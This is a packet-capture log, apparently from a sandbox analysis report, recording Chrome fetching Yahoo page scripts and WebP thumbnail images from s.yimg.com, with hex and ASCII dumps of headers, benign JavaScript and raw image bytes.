2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 61 74 65 7c 7c 28 63 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 6e 75 6c 6c 2c 69 28 6e 75 6c 6c 2c 63 29 29 7d 3a 63 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 28 6e 75 6c 6c 2c 63 29 7d 2c 63 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 73 3c 3d 35 3f 65 28 7b 73 72 63 3a 6e 2c 74 79 70 65 3a 6f 2c 74 65 78 74 3a 72 7d 2c 69 2c 61 2c 2b 2b 73 29 3a 69 28 6e 65 77 20 45 72 72 6f 72 28 22 63 6f 75 6c 64 20 6e 6f 74 20 6c 6f 61 64 20 73 63 72 69 70 74 22 29 29 7d 29 3a 28 63 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 22 74 72 79 7b 22 2b 72 2b 22 7d 63 61 74 63 68 28 65 29 7b 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 20 26 26 20 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 65 29 3b 7d 22 2c 69 Data Ascii: ate\|\|(c.onreadystatechange=null,i(null,c))}:c.onload=function(){i(null,c)},c.onerror=function(){s<=5?e({src:n,type:o,text:r},i,a,++s):i(new Error("could not load script"))}):(c.textContent="try{"+r+"}catch(e){window.console && window.console.error(e);}",i
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 28 6f 29 69 66 28 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 29 74 72 79 7b 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 65 29 7c 7c 28 61 3d 21 30 29 7d 63 61 74 63 68 28 65 29 7b 61 3d 21 30 7d 65 6c 73 65 20 61 3d 21 30 3b 65 6c 73 65 20 61 3d 21 30 3b 69 66 28 61 29 7b 76 61 72 20 73 3d 6e 65 77 20 49 6d 61 67 65 3b 77 28 73 2c 22 65 72 72 6f 72 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 3d 6e 75 6c 6c 7d 29 2c 77 28 73 2c 22 6c 6f 61 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 3d 6e 75 6c 6c 7d 29 2c 77 28 73 2c 22 61 62 6f 72 74 22 2c 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: (o)if(window.navigator&&"function"==typeof window.navigator.sendBeacon)try{window.navigator.sendBeacon(e)\|\|(a=!0)}catch(e){a=!0}else a=!0;else a=!0;if(a){var s=new Image;w(s,"error",function(){s=null}),w(s,"load",function(){s=null}),w(s,"abort",function()
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 2e 77 61 66 65 72 73 5b 74 5d 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 6f 3d 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 6f 3d 21 30 3d 3d 3d 6e 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 6e 2e 64 65 66 61 75 6c 74 2e 5f 73 74 61 74 65 3a 6e 2e 5f 73 74 61 74 65 2c 6f 2e 65 6c 65 6d 65 6e 74 49 6e 73 74 61 6e 63 65 73 2e 67 65 74 28 65 29 7d 2c 74 2e 67 65 74 55 72 6c 50 61 72 61 6d 65 74 65 72 56 61 6c 75 65 42 79 4e 61 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 52 65 67 45 78 70 28 22 5b 3f 26 5d 22 2b 65 2b 22 3d 28 5b 5e 26 5d 2a 29 22 29 2e 65 78 65 63 28 74 29 3b 72 65 74 75 72 6e 20 6e 26 26 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6e 5b 31 5d 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c Data Ascii: .wafers[t];if(!n)return null;var o=void 0;return o=!0===n.__esModule?n.default._state:n._state,o.elementInstances.get(e)},t.getUrlParameterValueByName=function(e,t){var n=RegExp("[?&]"+e+"=([^&]*)").exec(t);return n&&decodeURIComponent(n[1].replace(/\+/g,
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 6e 74 28 6e 2e 73 75 62 73 74 72 69 6e 67 28 6f 2e 6c 65 6e 67 74 68 2b 31 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 6f 3d 3d 3d 65 26 26 28 74 3d 72 2e 74 72 69 6d 28 29 2c 21 30 29 7d 29 2c 74 7d 7d 2c 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 40 76 7a 6d 69 2f 77 61 66 65 72 2d 63 6f 72 65 2f 73 72 63 2f 75 74 69 6c 73 2f 69 6e 64 65 78 44 42 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 Data Ascii: nt(n.substring(o.length+1))}catch(e){}return o===e&&(t=r.trim(),!0)}),t}},"../../node_modules/@vzmi/wafer-core/src/utils/indexDB.js":function(e,t,n){"use strict";function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	49907	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	755	OUT	GET /uu/api/res/1.2/J7SrLbVORhOwvVMDOguVjQ--~B/Zmk9c3RyaW07aD0xNDI7cT05NTt3PTI2ODthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/popular_mechanics_642/0973f80037db8e5fa7ca77dcb63b6750.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	1258	IN	HTTP/1.1 200 OK Content-Length: 11522 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 410023419103156732552612165396865724809,323344900116126384364143075234041755169,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="0973f80037db8e5fa7ca77dcb63b6750.webp" Edge-Cache-Tag: 410023419103156732552612165396865724809,323344900116126384364143075234041755169,ae7a14591aaf8d474cdb3f92111c923e Etag: "4d666be3bba78588c5b1e716279d5887" Last-Modified: Wed, 10 Jan 2024 21:44:03 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=268,height=142,bytes=11522,owidth=448,oheight=252,obytes=18941,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 6d1974716c2b57c2a151dc0a37ee3441 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 21:44:11 GMT X-Served-By: cache-lga21945-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704923052.622558,VS0,VE1 Age: 6182 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 6d1974716c2b57c2a151dc0a37ee3441 cld_by: cache-lga21945-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Connection: close
2024-01-10 23:27:13 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 52 49 46 46 fa 2c 00 00 57 45 42 50 56 50 38 20 ee 2c 00 00 30 8f 00 9d 01 2a 0c 01 8e 00 3e 1d 0c 84 41 21 06 16 81 88 04 00 71 2c 6c fc 8b 00 45 09 e1 f7 a3 c9 79 1d f2 6f 57 1e e5 fb 87 9b ae 6e 7a d7 ca 6b a6 3f ef ff 8e fc b7 f9 8d fe ef d5 37 e9 ff 60 bf d6 ee 9b 3e 64 7f 72 7d 5c 7d 36 ff 5e f5 1c fe 8d ff 57 ae 5b d1 c7 cd b7 ff 87 b4 6f ee 9f a5 16 9a 1a 8c 7e 34 79 bf f8 d7 cd 7f 76 fe e7 fb 5f fd a3 ff 8f 3d 0f 3f fe c7 ff 17 a0 9f c9 be e8 fe 63 fc 07 ee 47 f8 6f dd 9f 94 3f e9 78 db f2 47 fc af 50 8f c7 ff 97 7f 8a fe e7 fb 75 fd f7 f7 a7 eb b7 eb 7b 91 b7 9f f6 5e 81 7e e5 fd 8f fd ff e6 af b9 57 d7 ff e1 f4 5f ec 47 fd ef 70 2f e8 9f d9 3f d6 7e 74 ff 8c f9 8f bf b7 f2 5e a0 9f a4 3f f5 ff 8f f7 70 ff 1b ff 77 fa ef ca 3f 75 5f 57 ff ea ff Data Ascii: RIFF,WEBPVP8 ,0*>A!q,lEyoWnzk?7`>dr}\}6^W[o~4yv_=?cGo?xGPu{^~W_Gp/?~t^?pw?u_W
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 6c ce 45 0b 23 79 8e 7c 98 24 79 78 23 1b 5a 9e 92 ab 64 4d ff d8 bd 7e 78 3a fb c7 ee 29 a9 32 58 af b7 4e 27 44 0d d2 d0 e8 df e5 7c b7 07 61 29 a4 ab 74 31 c6 47 60 50 ff 3b 10 ad 79 87 78 88 1b 77 77 8b bc 0a c3 37 ca d8 c7 34 bb ee 23 c3 61 07 90 ed 18 7b 30 52 15 aa cc f5 a2 fc 09 a2 a6 bc b8 61 47 2e fa 84 7a 90 32 51 81 8c 85 00 e9 30 dc 4d a7 0a f9 a6 e8 bf d4 f1 12 ca 13 aa 13 77 1c 58 a5 eb 9b 45 bc 28 93 d3 6f 32 56 b6 dc b4 ef 38 ee 91 a2 51 ad 06 96 97 a1 8b dc b6 b1 da 5c 3d 41 0a 70 68 ca a9 f1 21 b0 e4 65 1a 1e 98 c4 47 bf e5 04 31 e5 24 c6 a8 e6 3c 07 7a 8c 00 4e 48 e3 18 68 0a ed a4 a1 e0 25 07 5e 1f 64 10 91 3d 81 ef 79 8f 75 e4 a9 78 42 70 fa f3 5b d8 dd ba 26 86 f9 f6 f7 6f fd c3 a2 0a d3 b6 cc 96 54 36 e4 12 7e 45 fa b0 4b 5f 35 50 Data Ascii: lE#y\|$yx#ZdM~x:)2XN'D\|a)t1G`P;yxww74#a{0RaG.z2Q0MwXE(o2V8Q\=Aph!eG1$<zNHh%^d=yuxBp[&oT6~EK_5P
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: f5 1a a1 09 17 81 5a cc 1e 44 d7 ac 39 71 ea fb 54 69 16 70 fc ea d0 f5 25 35 21 aa 91 72 8a eb ed b7 61 59 cb c5 54 e3 0c 15 42 eb a9 60 4f e0 de e2 6c 59 5c d8 f4 52 b7 4c dd 4b be 15 78 96 83 e1 ec c0 42 cf 2f f2 ed 42 ea 85 f4 d7 21 d6 f2 c0 e6 36 3e fc 17 70 60 d5 da 87 c8 bf 83 2d e5 a4 c8 85 08 17 3b aa 00 d2 58 41 e4 39 bc 8f de 3e b6 6e 40 57 c5 4f b4 b7 e7 3d c8 22 37 5b 53 0f 87 7c 2e 08 5f 45 7d 83 55 07 06 4c 89 88 58 ec 4a b2 cb 1b 66 d4 b0 e0 4f 98 29 cd d1 33 80 6a 1f b6 ea 31 2b 91 36 e0 9f f9 3e 20 1b c9 d5 ac 1c d4 6f fc d1 15 d1 55 67 f3 df a6 74 0c fb 61 65 4e ac c8 3f 32 81 ff 2b 38 4b 09 3d b4 4f 3d 0f ba cd f2 ee 4f 15 db bd 37 3d 3e 6e 9c 2c 3c 36 c1 18 cc 50 0f 2f be a6 cd 64 2c c8 c3 91 05 b5 e5 fd 6b c5 87 00 72 9f 73 43 93 52 Data Ascii: ZD9qTip%5!raYTB`OlY\RLKxB/B!6>p`-;XA9>n@WO="7[S\|._E}ULXJfO)3j1+6> oUgtaeN?2+8K=O=O7=>n,<6P/d,krsCR
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: c7 15 df 17 8c f5 34 86 39 ff b6 27 62 4f 31 0a 08 20 3b 0d 9c e5 22 cc a3 90 d6 e0 b6 93 9b 38 83 67 29 eb 7f 1d 5d 4b 38 83 a4 0e 2e 02 55 d1 80 e4 69 6d 38 81 4c 6e c2 ef 3d 98 ae 33 23 3a fe ff 49 72 bd b9 e6 27 07 68 86 51 aa 72 7f b1 52 ab 75 44 7a 84 42 67 cf e6 e7 64 ea d7 68 c5 a5 5e 41 49 eb 8e e0 03 fe ac 77 13 19 c9 84 ac 58 5a 0d 5c 51 1a fe f3 ba 78 4c a0 a2 1d 10 e8 74 0e f4 36 d8 e4 a2 86 8b fb d3 3a d2 86 c9 e1 17 ef 5d 0a ed bb 9c a6 01 25 bb 9a a6 e0 a7 26 32 aa 6f 58 9d 9c b4 af 67 a4 56 ad dd 5d 49 a2 7e b7 8c 99 fa 75 b5 55 4c 43 be c0 30 29 d8 d5 11 79 ca 9e a3 74 84 0f b5 af 5c 44 31 8e 22 6a 9f b0 f9 be 76 45 93 1a fd c8 be 29 0c a4 e2 62 8b d7 f7 7f c6 b8 3f 37 87 19 54 79 7f 5e 92 f8 61 d2 75 a3 09 08 e4 37 61 8c 0b 1b 8f a3 c3 Data Ascii: 49'bO1 ;"8g)]K8.Uim8Ln=3#:Ir'hQrRuDzBgdh^AIwXZ\QxLt6:]%&2oXgV]I~uULC0)yt\D1"jvE)b?7Ty^au7a
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 10 5e ac 35 35 e3 dc 63 a6 84 12 b8 4d 92 94 bb a4 d6 d3 32 2f 59 20 c8 de cc 58 6d 46 05 13 a1 93 cc 2c 34 a6 48 c1 92 5b 67 52 f9 de 56 08 52 b5 cb 98 64 16 b1 95 f9 ee 04 b5 4b 43 f2 19 f8 4b bc 03 4e 80 af 00 6a d9 9e 8a 46 69 f2 00 74 0d 7a db d3 d3 92 22 ca cb 80 89 b8 88 91 6b d0 8e da b7 82 80 3f 01 d7 de 48 94 34 2c 15 4e 13 92 96 f7 61 e4 1a b8 04 df 32 cf b7 15 2d 1d b9 e7 45 a8 c0 42 bb cf 7b 44 d8 32 5c 4c 7f a4 f1 cd 89 59 26 b7 b0 3c 5f b4 d9 bd c5 aa 03 52 04 72 17 33 29 59 54 7c 68 b9 ae cf 3e 8c 13 42 68 96 e0 bf 3b 21 92 00 18 1a 81 51 26 4b 72 e6 98 3e 7e 41 1b 32 c9 9b c7 6e c7 1b 80 d2 78 06 bc 93 c9 19 ef 4f 2f 46 2d 0e b6 95 04 cc 74 fc 0b 63 b0 18 c1 27 25 5c de 56 f9 04 83 78 22 87 49 0b 31 ff 7b e4 69 60 9b 15 48 16 25 62 08 07 Data Ascii: ^55cM2/Y XmF,4H[gRVRdKCKNjFitz"k?H4,Na2-EB{D2\LY&<_Rr3)YT\|h>Bh;!Q&Kr>~A2nxO/F-tc'%\Vx"I1{i`H%b
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 30 ed 2a b1 75 1f 44 da ff ac 7b 98 38 1f d7 b5 26 2b b6 6b cf c4 b2 56 c9 49 f7 5b 5d 67 55 4e a4 95 8e 01 51 7c c8 08 2f ee 4f 77 02 74 4c c5 cf f3 78 1d be 71 93 b2 63 fd 26 43 4d 8b d1 46 8c b6 b9 61 26 dd 10 03 67 dc 3b 03 ef f6 f4 5b c8 57 ee 0e 44 54 e5 79 b7 59 01 b6 0b 22 5d 0c 1b 49 57 8e 59 29 be fb 73 97 ce 44 3e b0 a9 11 8b d5 85 be 4b b4 01 70 ea 88 a4 90 dd 34 2c a0 89 05 dc 01 d4 c6 37 ad 1e 3c 76 a2 ab 0d 46 72 51 2c ff 17 77 10 78 5f bb d4 e2 7f d5 30 37 f5 f6 90 b2 95 a7 42 48 65 64 49 78 92 61 c6 d4 64 20 e3 68 19 3d 28 05 49 38 43 36 31 76 0f bf c8 ef b8 7c b5 00 03 fb 07 87 11 85 69 3f b2 ff 23 29 52 12 89 f5 2a 74 45 92 c3 70 ae 4b 5c 75 67 69 47 1c 23 a0 00 4c 0e d2 66 22 21 0b 91 84 ca 47 62 f3 09 70 0a bf 84 bc 4c f3 05 a9 4e 7c Data Ascii: 0uD{8&+kVI[]gUNQ\|/OwtLxqc&CMFa&g;[WDTyY"]IWY)sD>Kp4,7<vFrQ,wx_07BHedIxad h=(I8C61v\|i?#)RtEpK\ugiG#Lf"!GbpLN\|
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: be ca fa e6 52 62 46 7b 43 52 84 f5 3d ab d0 f4 cd ac 45 a1 9d eb 03 50 f7 09 c5 28 73 d7 bb 4d 48 f2 80 1a 09 e1 7a 4b 69 de ec db fa d1 50 50 7f 9e 97 64 5a 5a df 98 7b ff 03 df 5e 15 9f 13 21 1b a8 72 ee f6 5e 62 cf 22 cc f3 e6 32 f6 69 e8 b0 a7 d3 ba 88 1b 70 58 51 f9 d9 22 85 63 00 7b 89 10 f0 e5 f7 bc a8 a0 29 c5 c7 6a 07 12 bf c8 d8 f0 60 73 b3 8c ec 12 17 4f 7c 48 13 84 50 77 71 e8 87 5f e8 57 4c 3b dd 0d 2b c2 87 56 b4 c5 68 8f e3 1d 62 82 d6 76 1a 63 bf 09 39 7b 3e 40 c5 53 f8 a6 8e e7 3a 6d b9 54 9c 48 ca 2e d4 4b 62 99 60 1d 55 f9 cf 42 f7 aa e2 ec 26 37 ea 3e 89 3f 0e 0f e2 9f 9c d3 4c 62 89 70 e3 ef dd 2e 51 ca dc 12 f8 56 38 85 89 18 58 09 f2 25 3b 3e 0e 3e d4 e8 66 0d c1 8b 0f 89 fe 00 0f 21 51 e9 3c fb 69 c1 cb 0b 47 90 30 d2 8d 60 4f ff Data Ascii: RbF{CR=EP(sMHzKiPPdZZ{^!r^b"2ipXQ"c{)j`sO\|HPwq_WL;+Vhbvc9{>@S:mTH.Kb`UB&7>?Lbp.QV8X%;>>f!Q<iG0`O
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 37 05 00 84 70 ed 71 17 57 e4 86 0e fc 92 34 dd ff c6 99 0d f3 74 3c 54 26 fb c6 43 93 5e 25 20 5a 07 c2 47 77 b5 f7 78 d2 73 c1 f7 3f 81 52 15 91 17 ec cd 2d 1f 75 b1 ec be ab c1 49 50 7f 93 6e 86 e3 72 7a 43 34 bd b0 49 0e 80 7e a3 d5 a9 2e c9 d6 88 e2 fa ae 06 68 44 1c d6 84 d0 e9 5b 4d 16 a3 83 6d 7c b2 38 ae 8e 7d 3f 83 e3 b0 a5 af c4 1f 25 20 aa a3 f7 45 92 27 ad a5 17 a3 76 81 3c 4f 1f 90 69 2e 9e 72 a9 3f 2d a0 fa 31 fc a2 2d 68 a2 de 35 31 a2 7f f1 22 77 ae bb 03 f8 4c e0 df 21 f4 28 ee 0f e7 49 de 57 03 92 33 97 39 c1 af 2d f2 4d 86 aa 8a 74 b1 41 7a 74 05 7a 09 9d 74 c5 0e 50 a0 11 4b f8 fe 09 45 0b 0b 96 54 78 06 5e 65 65 ad a7 84 90 44 ab be f9 46 f7 19 37 0e aa 8a df 77 e9 8c 53 c5 24 bf 82 20 c4 21 ca 2f f5 a9 6a 68 c4 d6 b9 9e d2 c9 fc 89 Data Ascii: 7pqW4t<T&C^% ZGwxs?R-uIPnrzC4I~.hD[Mm\|8}?% E'v<Oi.r?-1-h51"wL!(IW39-MtAztztPKETx^eeDF7wS$ !/jh
2024-01-10 23:27:13 UTC	1122	IN	Data Raw: 6d 49 70 c0 94 bf 47 bf ed 5a 50 2a f6 74 b2 f6 0e 2b b1 15 e8 5d db 60 dd b8 ed 8d d4 cc ab 14 fc b3 50 47 ce de ef be e3 7d 04 c7 41 8a ef e0 55 0f 80 c6 f5 20 15 51 94 31 9a 03 9c 42 4e 68 02 11 37 5b c4 26 2b b3 8d 26 cf 7d 17 d6 40 d8 cc 88 79 ef c0 93 b4 4b a8 f0 43 66 10 5e cf fd da 03 b2 c3 5c 8c b5 63 29 8d 1a d9 2e cc 4d 7e 32 50 95 a0 30 23 c8 c7 80 ae a5 af 90 52 38 d5 f1 a3 44 04 97 48 19 6c 10 27 8c b3 5c 97 ac 4f 39 5e 09 2d 6a 9c 5d 39 72 19 02 a8 49 ee 7d ea f7 5f 73 bb 7d b7 36 74 0a d5 eb b9 fa bc 82 6a bf 17 58 0c 99 59 c1 cf c6 af f8 88 0a 59 f3 39 e6 b9 ab 6c d9 33 e1 b0 72 01 12 46 4f 75 62 71 f5 28 e7 2c 64 66 ef 38 5e 03 86 9e a5 45 ad 6a c6 15 46 d0 2d cd 1b 7e 11 ab 93 d2 ef 07 d5 c9 12 95 a0 a6 bf 08 4d 7d 79 94 46 d3 99 d5 34 Data Ascii: mIpGZP*t+]`PG}AU Q1BNh7[&+&}@yKCf^\c).M~2P0#R8DHl'\O9^-j]9rI}_s}6tjXYY9l3rFOubq(,df8^EjF-~M}yF4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	49910	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	755	OUT	GET /uu/api/res/1.2/7qp2RE6CtwF.Mj3QKEaNog--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/good_housekeeping_561/a34205bd93de17f457530161dac24aea.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	1282	IN	HTTP/1.1 200 OK Content-Length: 7694 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 449932883037613609736222676951759673891,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="a34205bd93de17f457530161dac24aea.webp" Edge-Cache-Tag: 449932883037613609736222676951759673891,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "ffa1e6b446215e0b17bab67f0a04629c" Last-Modified: Wed, 10 Jan 2024 17:32:54 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=7694,owidth=2020,oheight=1136,obytes=145863,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 174afbc16996207e6e8eb8f84e1b5cf8 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 17:32:54 GMT X-Served-By: cache-iad-kjyo7100104-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704907974.752663,VS0,VE254 Age: 21262 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 174afbc16996207e6e8eb8f84e1b5cf8 cld_by: cache-iad-kjyo7100104-IAD cld_latency: 254 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1
2024-01-10 23:27:13 UTC	220	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 52 49 46 46 06 1e 00 00 57 45 42 50 56 50 38 20 fa 1d 00 00 90 c4 00 9d 01 2a 18 02 1c 01 3e 79 3a 99 49 a4 a3 28 28 a4 51 f9 e1 10 0f 09 67 6e f1 8b 5a 34 6c fc 38 d4 82 0c 6e 2f 71 0b 67 43 3e d9 c1 db df ec fc 6a 11 d7 f8 51 6a 72 ec 95 53 3a d3 cd 7f e9 e7 93 f7 5d f8 c3 e9 23 7a 4b 95 56 b2 b1 a4 21 95 3a dc 3b 9b 4c 8c fa 26 08 bf 6e 50 37 f4 4e 17 39 9f dc 8a 49 15 5e aa b9 94 11 b6 0c ab 79 9f d3 79 f7 f7 58 df 64 5a c5 91 48 2a 53 d4 7c 1f 49 93 ac 32 10 88 f8 00 87 eb ef 79 e0 00 bd 7b f5 a6 03 b2 f9 a8 af 61 88 65 46 96 e8 44 b2 b3 d1 1f cc 27 2e 94 f4 73 d7 44 a7 b4 a5 21 20 c9 31 f7 ae 96 22 61 ac 63 8a 0a 81 ef 01 ce e6 dc 6e 07 0e fc 2f 44 e1 29 e4 a4 d3 53 9e f2 84 0f c6 17 2f d7 cb f9 0a 76 0e 24 bd 9b 88 ed 42 8b 9c 37 17 4e 59 6f 37 36 Data Ascii: RIFFWEBPVP8 >y:I((QgnZ4l8n/qgC>jQjrS:]#zKV!:;L&nP7N9I^yyXdZHS\|I2y{aeFD'.sD! 1"acn/D)S/v$B7NYo76
